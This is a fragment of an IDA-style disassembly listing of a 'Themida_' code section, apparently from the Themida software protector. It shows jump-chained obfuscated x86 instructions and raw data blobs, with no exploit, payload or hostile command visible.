loc_50E102:				; CODE XREF: Themida_:00502F99j
		and	eax, edx
		pop	edx
		jmp	loc_50E4A4
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF73D8h
; ---------------------------------------------------------------------------

loc_50E110:				; CODE XREF: Themida_:00508297j
		mov	[esp], esp
		jmp	loc_50EEE1
; ---------------------------------------------------------------------------
		dd 2CF7B652h, 0E729E90Eh, 0EB81FFFFh, 0FFFFFFFFh, 0FFB786E9h
		dd 148966FFh, 9C506624h, 847E9h, 0F06800h, 69E96597h, 81FFFFF3h
		dd 4C3h, 6E46E900h, 0C381FFFFh,	48BD4592h, 5AB3CB81h, 0EB8136DEh
		dd 7FFEDBEFh, 1C8BDF89h, 4C48124h, 1000000h, 0E9525FFEh
		dd 0FFFFA2E7h, 805BDC28h, 83E91BEBh, 31FFFFFAh,	815B243Ch
		dd 0CD6DECE3h, 0BCC38176h, 81CFFEF3h, 9C6B11EDh, 81DD0118h
		dd 9C6B11C5h, 0BD32E918h, 3487FFFFh, 24248B24h,	5AE95551h
		dd 83FFFFE2h, 148704C2h, 0F090E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E1BA:				; CODE XREF: Themida_:0050A14Bj
		sub	esi, ebp
		jmp	loc_50BC88
; ---------------------------------------------------------------------------
		db 5, 0C1h, 0C0h
		dd 0C389817Bh, 8324048Bh, 0C38104C4h, 177E7341h, 0FF7640E9h
		dd 0A5E95DFFh, 9FFFFA9h, 0E9C15BD9h, 0C5C18106h, 8130B25Eh
		dd 0A41B7CC1h, 61C1811Fh, 81753003h, 825B8EF1h,	0E6E2E9C6h
		dd 0FC88FFFFh, 0E788595Bh, 0FFCDC5E9h, 74FF55FFh, 0E95D0424h
		dd 0FFFFD802h, 0E9B8B252h, 0FFFFCD72h, 0E95AF788h, 0FFFFD11Fh
		dd 0C833FBBEh, 81DEF77Eh, 6FCA47F6h, 0D4E952D0h, 4FFFF50h
		dd 2434FF0Eh, 0FFF3EFE9h, 8B665CFFh, 89532404h,	21AE68E3h
		dd 0C890000h, 53EBB924h, 0BE5642CDh, 0D157B71h,	0BAE9F101h
		dd 4FFFFFAEh, 577DE781h, 0D7F75654h, 0FFB86DE9h, 42E2CFFh
		dd 0AB5EE953h, 558FFFFh, 4, 4BA52h, 0D0010000h,	65DE95Ah
		dd 0EBB60000h, 2C5AF000h, 0ECA0E932h, 0E389FFFFh, 0FFED87E9h
		dd 28F64FFh, 0FF48C1E9h, 240489FFh, 21240481h, 0FF114776h
		dd 81582434h, 4C4h, 68525700h, 45CD4BB2h, 47C2815Ah, 4A5CC854h
		dd 239ECA81h, 8BE9595Ah, 89FFFF75h, 3DB9240Ch, 8108B122h
		dd 1647B8C1h, 0F1E98106h, 0E90EC769h, 0FFFF5F19h, 4B951h
		dd 4C010000h, 8CE90424h, 5400000Dh, 0BEB9515Fh,	555A7D41h
		dd 0FF648DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E311:				; CODE XREF: Themida_:0050412Bj
		push	28AC37A2h
		jmp	loc_50D36C
; ---------------------------------------------------------------------------
		db 1
		dd 0C749E9DFh, 0E959FFFFh, 0FFFFB57Ah, 0B3E9D0F7h, 51000004h
		dd 0FF7F0EE9h, 0F8EA80FFh, 285AD700h, 0B0505BF8h, 69B151EEh
		dd 0D2B45066h, 0BFE9E128h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E34F:				; CODE XREF: Themida_:00504E58j
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		db 5
		dd 0FFFFFFFFh, 6B58C20Dh, 8745E93Fh, 0BB53FFFFh, 2, 6CE9DE29h
		dd 0BEFFFFDFh, 3B2659D1h, 0FFCD7BE9h, 243433FFh, 24048F5Ch
		dd 0FF4EE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E38D:				; CODE XREF: Themida_:0050389Cj
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		jmp	loc_507725
; ---------------------------------------------------------------------------

loc_50E398:				; CODE XREF: Themida_:0050D13Aj
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_504E49
; ---------------------------------------------------------------------------
aSXaIaD0	db 'S³x€Ë‰€Ã¤0Ø[',0
		db 0C2h
		dd 0E924048Bh, 0FFFFB310h, 0F0BB53ADh, 16F8F1Dh, 15E95BDEh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E3CF:				; CODE XREF: Themida_:0050AF60j
		mov	esi, edi
		jmp	loc_505D56
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 1AE90000h,	55FFFF6Eh
		dd 5D2414F7h, 0D6A8ED81h, 12E9E3F6h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_50E3FF:				; CODE XREF: Themida_:00504612j
		or	eax, eax
		jz	loc_50D099
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5073FF
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0EC81242Ch, 4, 0BA241489h, 66FB6C13h, 0F7D2F74Ah, 0B9C281D2h
		dd 89A23F08h, 24148BD5h, 5E08950h, 4, 405h, 24048700h
		dd 0FFE706E9h, 8AC681FFh, 2912C567h, 8AEE81DEh,	0E912C567h
		dd 0FFFFF8F4h
; ---------------------------------------------------------------------------

loc_50E45C:				; CODE XREF: Themida_:00505D23j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_50892B
; ---------------------------------------------------------------------------
		dd 4C481h, 0BF570000h, 45A43D5Eh, 69EB81h, 0FB0129EDh
		dd 60D2E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E482:				; CODE XREF: Themida_:00503A5Ej
		push	ecx
		pop	ebx
		jmp	loc_50ECBE
; ---------------------------------------------------------------------------
		db 68h,	3Bh, 19h
		dd 0E9594293h, 0FFFF989Eh
; ---------------------------------------------------------------------------

loc_50E494:				; CODE XREF: Themida_:005068EEj
		mov	esi, ebp
		pop	ebp
		jmp	loc_50B926
; ---------------------------------------------------------------------------
		dd 0E9241487h, 0FFFFF8A3h
; ---------------------------------------------------------------------------

loc_50E4A4:				; CODE XREF: Themida_:0050E105j
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	edx
		jmp	loc_50D773
; ---------------------------------------------------------------------------
		db 29h
		dd 986FE9D8h, 8850FFFFh, 0A711E9E8h, 0BE66FFFFh, 0D3E96CEFh
		dd 81FFFF54h, 20E52434h, 815B63B9h, 0B920E5F3h,	2434FF63h
		dd 9127E95Fh, 11B9FFFFh, 8145EE4Fh, 343405C1h, 0BA92E942h
		dd 0BE56FFFFh, 4, 815EF389h, 863C4EAh, 0E12CE93Ch, 3487FFFFh
		dd 6DE95C24h, 1FFFF99h,	7B685DE8h, 89000004h, 4BD242Ch
		dd 1000000h, 0EAE95DE8h, 5FFFFFD9h, 1CA0C181h, 0C10126C8h
		dd 1CA0E981h, 0C18126C8h, 375267B3h, 0FF8605E9h, 242C89FFh
		dd 4EC81h, 0E9540000h, 0FFFFBF8Ch, 662CC580h, 59EF085Bh
		dd 40E95066h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E55B:				; CODE XREF: Themida_:0050D65Fj
		push	edi
		jmp	loc_508C7B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 88241C89h, 0DC8850E3h, 0FFA87BE9h, 3C8B54FFh, 4C48324h
		dd 766EB951h, 0C1817363h, 7A142E9h, 5CE9E181h, 0E18144E6h
		dd 4D7A0867h, 7BE6C981h, 0C1810AD8h, 2B51004Bh,	7C36F181h
		dd 68E97629h, 53FFFF8Ah, 0FF64B6E9h, 0D830ACFFh, 8904EC83h
		dd 0C9B22414h, 5ECE9h, 81F32900h, 7F0446EBh, 1C875E5Ah
		dd 24248B24h, 0E9241489h, 0FFFFE3AFh, 0E92434FFh, 0FFFF9771h
; ---------------------------------------------------------------------------

loc_50E5DC:				; CODE XREF: Themida_:0050706Cj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_504A33
; ---------------------------------------------------------------------------
aAVse		db '€ê‚é…',0Dh,0
		dd 2AFABB00h, 0C3815BB7h, 0A1E23AFh, 0FF925EE9h, 583F68FFh
		dd 8F540000h, 0E9E92404h, 81FFFFFCh, 0FB3C98EEh, 51CE2950h
		dd 0FB3C98B9h, 59CE0150h, 0F7C28159h, 0E96A732Ch, 0FFFF4E9Ah
		dd 0BA241489h, 29E90A36h, 0FF49C0E9h, 4EC83FFh,	51241489h
		dd 0FFDA56E9h, 241C33FFh, 6624248Bh, 0E9240C89h, 0FFFF451Eh
		dd 4C381h, 1C870000h, 0D8055C24h, 506E62Ah, 3CDA5981h
		dd 1E3E68h, 24148900h, 0F22777BAh, 75CE93Eh, 81660000h
		dd 590807C5h, 0FFAB66E9h, 242C31FFh, 0E9242C33h, 0FFFF754Fh
		dd 65E94704h, 8BFFFF96h, 0C483241Ch, 0FC33004h,	8B66C0B6h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	7E76h
		mov	[esp], edx
		jmp	loc_50DD78
; ---------------------------------------------------------------------------
		dd 240C8966h, 0EC287BB5h, 0FF9618E9h, 6E7AB9FFh, 0CD2169FBh
		dd 0E1CD8159h, 8102E837h, 0DBC76FC5h, 470D2D10h, 0E8295DAAh
		dd 0FF5D98E9h, 34895CFFh, 7EE95424h, 53FFFFC0h,	0C381E389h
		dd 4, 4BA52h, 0D3290000h, 241C875Ah, 69DE9h, 0EC81AC00h
		dd 4, 0B1240C89h, 8BC82820h, 0C481240Ch, 4, 0E6E9D828h
		dd 0FFFFFFC8h, 2C8B2434h, 0E6895624h, 4C681h, 0BB530000h
		dd 4, 1C8BDE01h, 0E4E924h, 0E7890000h, 4C781h, 8680000h
		dd 89000041h, 1C682404h, 89000008h, 0D9BD242Ch,	0B80A7B23h
		dd 0F584DC2Bh, 30492C05h, 6795E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E772:				; CODE XREF: Themida_:00504C07j
		not	esi
		shl	esi, 1
		xor	esi, 56080332h
		add	eax, esi
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_50BE39
; ---------------------------------------------------------------------------

loc_50E792:				; CODE XREF: Themida_:0050343Dj
		sub	eax, 1BFD3FAFh
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_50388B
; ---------------------------------------------------------------------------
		dw 4481h
		dd 63090824h, 36E93FE2h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E7AF:				; CODE XREF: Themida_:00503FD6j
		mov	eax, esp
		add	eax, 4
		push	7349h
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_5056F3
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 70423B67h, 2C8BEF89h, 4C48324h, 0FCFCE951h, 8A2DFFFFh
		dd 551D2974h, 780828BDh, 77E58104h, 81508D32h, 750C41C5h
		dd 61E58101h, 4D2B9879h, 0FFFBEAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E805:				; CODE XREF: Themida_:00505155j
		mov	[esp], ecx
		jmp	loc_506380
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0FF24248Bh, 0C8B2434h, 4C48324h, 0FF8CFCE9h,	48F59FFh
		dd 4F91E924h, 0C481FFFFh, 4, 31243433h,	34332434h, 0C4815C24h
		dd 4, 54A468h, 243C8900h, 636A88BFh, 7EFC160h, 1666BB53h
		dd 0E94B4B72h, 0FFFFA294h, 335DEA01h, 92E92414h, 5CFFFFC0h
		dd 50241489h, 42FCE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E872:				; CODE XREF: Themida_:0050454Fj
		mov	edi, 0A49019Dh
		and	edi, 77BE3D0Ah
		jmp	loc_507A98
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 0FECE80F6h, 0B551EED0h, 80C5FEA5h, 0EE28A3F5h, 0F8EE8059h
		dd 0E95AF430h, 0FFFF4475h, 0C3E95259h, 51FFFFF5h, 42474FFh
		dd 24048F59h, 0FF4C24E9h, 24348BFFh, 4C481h, 0EC830000h
		dd 24148904h, 42474FFh,	24048F5Ah, 8966645Ch, 4298E902h
		dd 0CB81FFFFh, 3E922318h, 10F4CB81h, 0D3F76E40h, 5F7E381h
		dd 42E92808h, 33FFFF83h, 4312404h, 24043324h, 4EC815Ch
		dd 0E9000000h, 0FFFFC8CDh, 46D0CB81h, 0BF573713h, 185D124Eh
		dd 5DCCC781h, 0F7811BE7h, 79C535DFh, 0D3E9DFF7h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50E923:				; CODE XREF: Themida_:0050F13Fj
		pop	ebx
		jmp	loc_50B36C
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0E987048Fh, 0FFFF423Ah, 0AB0FAD2Dh, 58C1017Eh, 3302C183h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 9C2424D3h, 0FF4219E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E955:				; CODE XREF: Themida_:005099F0j
		or	esi, 31C84318h
		jmp	loc_50D194
; ---------------------------------------------------------------------------
		dd 0F7B353ACh, 0FF62F7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50E969:				; CODE XREF: Themida_:00509C5Fj
		not	edi
		neg	edi
		add	edi, 28AC37BDh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50DCA8
; ---------------------------------------------------------------------------
		dd 0FF41E9E9h, 1EF281FFh, 0C14C6B31h, 0D2F707EAh, 0EA81DAF7h
		dd 9AC527h, 148BD101h, 4C48324h, 73EFE950h, 0C281FFFFh
		dd 0BBC6CF5Bh, 0D15AD089h, 35E8D1E0h, 23E30505h, 48BC501h
		dd 4C48124h, 81000000h,	2C5h, 242C8700h, 409665Ch, 97E99C24h
		dd 81FFFF41h, 4C4h, 52535A00h, 0BF273768h, 0D2F75A40h
		dd 0E2C1EAD1h, 0B7C28105h, 8165D81Ah, 0DE0CAFF2h, 2C81527Ah
		dd 0CF297024h, 0EF6CE90Ah, 0E952FFFFh, 0FFFF729Bh, 2004E828h
		dd 240C8B66h, 2C481h, 0B6520000h, 6EEC05Bh, 0F610C680h
		dd 7C58E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EA2A:				; CODE XREF: Themida_:00509053j
		pop	edx
		mov	ecx, 0B7558E30h
		jmp	loc_50B466
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 2
		dd 203268h, 242C8900h, 0FF9D92E9h, 5954B8FFh, 4C0D279Bh
		dd 352B524Fh, 6C071178h, 0D7E9C529h, 1FFFF6Dh, 0BB2BE9EAh
		dd 0BB53FFFFh, 16312B08h, 545DCB81h, 0E9430967h, 0FFFF951Dh
		dd 53243489h, 0BA5CBABBh, 5BDE8944h, 5CD6B850h,	0D8F77866h
		dd 105h, 2E0C100h, 0C102E8C1h, 560507E8h, 896D4A3Ch, 0F73158C7h
		dd 0A2D9E95Eh, 0E789FFFFh, 36A5B951h, 0B8506C47h, 5E9B5E87h
		dd 3D2E9h, 68525100h, 1, 5AD1895Ah, 0FFD205E9h,	0DF0159FFh
		dd 252E9h, 3E5C100h, 0FFDD31E9h, 0B6852FFh, 8B16585Bh
		dd 0C4812414h, 4, 0FFFFB850h, 0C229FFFFh, 0A8E95358h, 68FFFF7Fh
		dd 1F8073F8h, 0FF84A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EB01:				; CODE XREF: Themida_:005046FCj
		push	edx
		jmp	loc_503DC2
; ---------------------------------------------------------------------------
		db 5
		dd 0FC459889h, 0FFA46AE9h, 5DE829FFh, 2542BB35h, 0C075E947h
		dd 0BA52FFFFh, 0FEC4E46h, 4ED2CA81h, 0EAC11D79h, 0C8CA8106h
		dd 8151750Dh, 0AE2985C2h, 81EAD13Eh, 0AD3DFEEAh, 5AD631B1h
		dd 815EF201h, 0D1537EEAh, 0FFD031CDh, 148B2434h, 4C48324h
		dd 0FF783AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EB5D:				; CODE XREF: Themida_:005093D2j
		push	esi
		mov	esi, 74416562h
		sub	esi, 3A9B3F1Ch
		sub	esi, 6A1851D4h
		jmp	loc_506D3C
; ---------------------------------------------------------------------------
		dd 73AAE381h, 0CB817C9Dh, 3F52F15h, 0FF6A7DE9h,	12E94DFFh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EB8B:				; CODE XREF: Themida_:0050C591j
		add	eax, 1
		add	eax, 33945E5Fh
		sub	eax, 6D3AA690h
		mov	ebx, eax
		pop	eax
		sub	[edi+24h], ebx
		pop	ebx

loc_50EBA1:				; CODE XREF: Themida_:005047C0j
		push	edi
		mov	edi, esp
		jmp	loc_50AF65
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 80h
		dd 0E2800ECAh, 0B87EE9DFh, 0FF55FFFFh, 5D042474h, 0FF4E53E9h
		dd 240C89FFh, 1C6B68h, 24248900h, 0FF5695E9h, 1C77FFFFh
		dd 6658669Dh, 9C240411h, 0FF3F8DE9h, 59E468FFh,	3C890000h
		dd 0F09DE924h, 8166FFFFh, 66DD30F3h, 665BD989h,	665DE931h
		dd 9BB86650h, 0C109665Ah, 31E95866h, 81FFFF85h,	4C4h, 4EC8100h
		dd 89000000h, 1BB82404h, 55403932h, 2D47D9BDh, 82B9516Bh
		dd 81563379h, 685888C1h, 0E9414140h, 0FFFF73B7h, 8904EC83h
		dd 41BF243Ch, 5506B664h, 0FFE525E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EC49:				; CODE XREF: Themida_:005067C6j
		mov	[esp], edx
		mov	dl, 5Dh
		mov	bl, 38h
		jmp	loc_50BD1D
; ---------------------------------------------------------------------------
		db 1, 0C2h, 81h
		dd 0FB1D8BEAh, 0E1C2812Dh, 8162B537h, 4C4566C2h, 3F00E95Fh
		dd 483FFFFh, 505D0424h,	4B8h, 0ECE95600h, 52FFFF70h, 0FFEDF2E9h
		dd 9BF680FFh, 305AF328h, 2434FFD8h, 4C4815Bh, 0E9000000h
		dd 0FFFF952Bh, 5E08950h, 4, 405h, 24048700h, 21ED805Ch
		dd 8059EE88h, 0C680D2F6h, 84F4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50ECBE:				; CODE XREF: Themida_:0050E484j
		pop	ecx
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 6
		push	ebx
		jmp	loc_50C415
; ---------------------------------------------------------------------------
		dd 0C000E950h, 3C31FFFFh, 0ABE5E924h, 4BBFFFFh,	81000000h
		dd 567EADC1h, 53D92931h, 0FF82C7E9h, 4FCCBDFFh,	0D5F77C93h
		dd 6183ED81h, 0BE565660h, 5A0469AAh, 0FFCCADE9h, 243C87FFh
		dd 6624248Bh, 66240C89h, 22474FFh, 8F665966h, 0B5E92404h
		dd 5BFFFF88h, 3C8BF931h, 4C48124h, 52000000h, 3890BD55h
		dd 2B681496h, 0E9000043h, 0FFFFDAD8h, 66241C89h, 664248BBh
		dd 540DE381h, 0FF8539E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50ED51:				; CODE XREF: Themida_:00505DE4j
		and	ecx, ebp
		pop	ebp
		jmp	loc_504AD8
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 61h
		dd 815E0171h, 9E7142EAh, 0BFDBE969h, 32FFFFFFh,	0FF3DFDE9h
		dd 2434FFFFh, 8B2434FFh, 0E9522414h, 0FFFF8408h, 40E9F801h
		dd 8BFFFF6Bh, 8952240Ch, 0F049E9E2h, 0DC30FFFFh, 0E9E1305Bh
		dd 0FFFF42C0h, 0FE5AD020h, 0EDBEE9C8h, 895CFFFFh, 0E189240Ch
		dd 4C181h, 0F1E90000h, 68FFFFDDh, 2A7Eh, 0BB241C89h, 51B20F5h
		dd 24148753h, 1487D2F7h, 0C0E5E924h, 0FF52FFFFh, 34FF2404h
		dd 0C4815A24h, 4, 0FF4E41E9h, 0E38953FFh, 6197B850h, 9E93F11h
		dd 5AFFFF69h, 2C581h, 0FF550000h, 0E9042474h, 0FFFF524Dh
; ---------------------------------------------------------------------------

loc_50EE04:				; CODE XREF: Themida_:0050C794j
		sub	edi, 2BF611D1h
		mov	ecx, edi
		pop	edi
		add	ecx, 1
		jmp	loc_50B5DD
; ---------------------------------------------------------------------------

loc_50EE18:				; CODE XREF: Themida_:005076CFj
		pop	edx
		jmp	loc_50BF89
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 8734FFC0h, 0E9E08950h, 0FFFFD6C4h, 4C481h, 81580000h
		dd 0BA078AEEh, 81DE015Dh, 0BA078AC6h, 0B8505B5Dh, 5A666EBDh
		dd 6858C629h, 620h, 56242C89h, 0BEh, 0E9F58900h, 0FFFF4B0Dh
; ---------------------------------------------------------------------------

loc_50EE60:				; CODE XREF: Themida_:00505A41j
		xchg	edi, [esp]
		jmp	loc_505BF2
; ---------------------------------------------------------------------------
		dd 33241C31h, 895C241Ch, 22E92414h, 5CFFFF82h, 66E1F766h
		dd 665BF868h, 66241489h, 0E3E99C50h, 0DFFFF3Ch,	14E9556Eh
		dd 0CB47C12Dh, 35D0F777h, 0B11A2B7h, 4958C129h,	3239C181h
		dd 0F1812634h, 7E9D2373h, 2CCDC781h, 0CF0160B8h, 2CCDEF81h
		dd 90E960B8h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EEBF:				; CODE XREF: Themida_:00506F91j
		push	bx
		mov	bl, 0C7h
		jmp	loc_5088AC
; ---------------------------------------------------------------------------
		dd 4B9515Ah, 51000000h,	0FF811BE9h, 2DE829FFh, 63AD36C4h
		dd 0FF5E45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EEE1:				; CODE XREF: Themida_:0050E113j
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_50DE3B
; ---------------------------------------------------------------------------
		db 81h
		dd 9037A3F5h, 40A4E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EF02:				; CODE XREF: Themida_:0050DAD5j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		pop	edi
		sub	esp, 4
		jmp	loc_509A81
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 242C8B50h,	81E38953h, 4C3h, 4C38100h, 0E9000000h
		dd 0FFFFA912h, 8124048Bh, 4ECh,	240C8900h, 240C8B54h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50BFBD
; ---------------------------------------------------------------------------

loc_50EF48:				; CODE XREF: Themida_:0050CEB3j
		jmp	loc_502B6E
; ---------------------------------------------------------------------------

loc_50EF4D:				; CODE XREF: Themida_:00508A25j
		push	ebp
		mov	ebp, 7BB949D8h
		xor	ebp, 444B7A92h
		jmp	loc_50AFDA
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 0BD555755h, 0D420951h, 3FE6C581h, 0AFE964BFh, 29FFFFB2h
		dd 8159240Ch, 0AD3DC2C9h, 0EF49E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EF82:				; CODE XREF: Themida_:00508926j
		mov	[esp], ebp
		push	29440978h
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 4
		shl	ebp, 3
		not	ebp
		inc	ebp
		not	ebp
		push	7EDFh
		mov	[esp], ecx
		mov	ecx, 20B611Fh
		neg	ecx
		xor	ecx, 0DA95D0FCh
		not	ecx
		jmp	loc_506611
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3C77h, 24048B24h, 5104C483h, 8904EC83h, 4812424h
		dd 424h, 8837E900h, 0C483FFFFh,	4BA5204h, 5000000h, 3F43302Eh
		dd 2E2DD001h, 0E93F4330h, 0FFFF6FA2h, 0C781E789h, 4, 0FFFA65E9h
		dd 2434FFFFh, 81240C8Bh, 4C4h, 3CC96800h, 4890000h, 5E08924h
		dd 4, 4BB53h, 0D8010000h, 2404875Bh, 5BF575Ch, 0F735E330h
		dd 6EFC1D7h, 8107EFC1h,	624EB7C7h, 81BE5628h, 1442635h
		dd 2434FFF0h, 5284E95Eh, 55ADFFFFh, 0FF862EE9h,	4C483FFh
		dd 0FF670EE9h, 4F000FFh, 202C5A72h, 2004D800h, 0FF405CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F069:				; CODE XREF: Themida_:005066B7j
		sub	eax, 697164FAh
		add	esi, eax
		pop	eax
		push	eax
		jmp	loc_5073E1
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 0FFFEDDE9h, 4C483FFh, 0FF598AE9h,	4CE95DFFh
		dd 59FFFF41h, 0E951575Dh, 0FFFFF3F1h, 0B73EB252h, 8BD730E9h
		dd 0E6E92414h, 58FFFF8Ch, 145E9h
		db 0
; ---------------------------------------------------------------------------

loc_50F0AD:				; CODE XREF: Themida_:0050C6E4j
		xor	dh, 2Fh
		mov	ch, dh
		pop	edx
		sub	al, ch
		jmp	loc_5073B6
; ---------------------------------------------------------------------------

loc_50F0BA:				; CODE XREF: Themida_:0050A200j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50A03D
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 0FFFF9025h, 24048B66h, 0FF4ED1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F0D5:				; CODE XREF: Themida_:0050F27Ej
		add	al, bh
		sub	al, 9Eh
		sub	al, 0C7h
		jmp	loc_50F25A
; ---------------------------------------------------------------------------
		dd 0E945DDF7h, 0FFFFA146h, 5EBE5650h, 2945A43Dh, 8B042474h
		dd 0C4832434h, 2434FF04h, 81241C8Bh, 4C4h, 0F35EE900h
		dd 0F181FFFFh, 9F79F25Ch, 0DA9EB7BBh, 59CB295Bh, 18E9DF31h
		dd 1FFFF69h, 0E7C3E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F126:				; CODE XREF: Themida_:0050691Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_50E923
; ---------------------------------------------------------------------------

loc_50F144:				; CODE XREF: Themida_:0050657Fj
		pop	edx
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_503C03
; ---------------------------------------------------------------------------
		dd 73D1E950h, 68FFFFh, 0E973DB09h, 0FFFF59D6h, 24048B66h
		dd 0FF4AD8E9h, 8EAC1FFh, 871FEA81h, 0D0898271h,	0E9D8F75Ah
		dd 0FFFFF1A8h
; ---------------------------------------------------------------------------

loc_50F180:				; CODE XREF: Themida_:00507856j
		pop	esi
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_50D215
; ---------------------------------------------------------------------------

loc_50F18C:				; CODE XREF: Themida_:00502E8Ej
		add	eax, 777079A4h
		push	edi
		push	ebp
		push	0FECh
		mov	[esp], esi
		push	71543CBCh
		pop	esi
		shl	esi, 7
		jmp	loc_50AD67
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 81h
		dd 3973E4F6h, 690DE93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F1B6:				; CODE XREF: Themida_:0050AB39j
		mov	ecx, 1A600CEh
		add	ecx, 0FE59FF36h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		xchg	eax, [esp]
		jmp	loc_5048FF
; ---------------------------------------------------------------------------

loc_50F1E4:				; CODE XREF: Themida_:00506BA4j
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_505224
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 3DF280FCh, 0FF8461E9h, 242C89FFh, 0B420EBDh,	8BE9312Fh
		dd 64E9242Ch, 89FFFFD4h, 4C281E2h, 83000000h, 0E95202C2h
		dd 0FFFF936Ch, 0C231C331h, 0FF3945E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F229:				; CODE XREF: Themida_:00506412j
		xor	edx, [esp]
		xor	[esp], edx
		push	edx
		push	edi
		pop	edx
		jmp	loc_5068F3
; ---------------------------------------------------------------------------
		db 66h
		dd 0E96AB151h, 0FFFF8639h, 120E952h, 0C6810000h, 6DF20882h
		dd 0FF3FDAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F251:				; CODE XREF: Themida_:005054A3j
		mov	bh, 0E6h
		mov	ah, bh
		jmp	loc_503BF3
; ---------------------------------------------------------------------------

loc_50F25A:				; CODE XREF: Themida_:0050F0DBj
		mov	bx, [esp]
		add	esp, 2
		add	bl, 8Ah
		add	bl, al
		jmp	loc_50A3A0
; ---------------------------------------------------------------------------

loc_50F26E:				; CODE XREF: Themida_:005088BBj
		mov	esi, [esp]
		jmp	loc_5089F1
; ---------------------------------------------------------------------------

loc_50F276:				; CODE XREF: Themida_:005088B2j
		add	esp, 2
		add	al, 9Eh
		jmp	loc_50F0D5
; ---------------------------------------------------------------------------
		db 0B9h
